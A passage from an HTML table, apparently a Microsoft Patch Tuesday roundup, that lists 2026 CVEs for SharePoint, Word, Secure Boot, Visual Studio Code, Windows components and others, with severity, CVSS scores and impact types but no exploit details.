  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
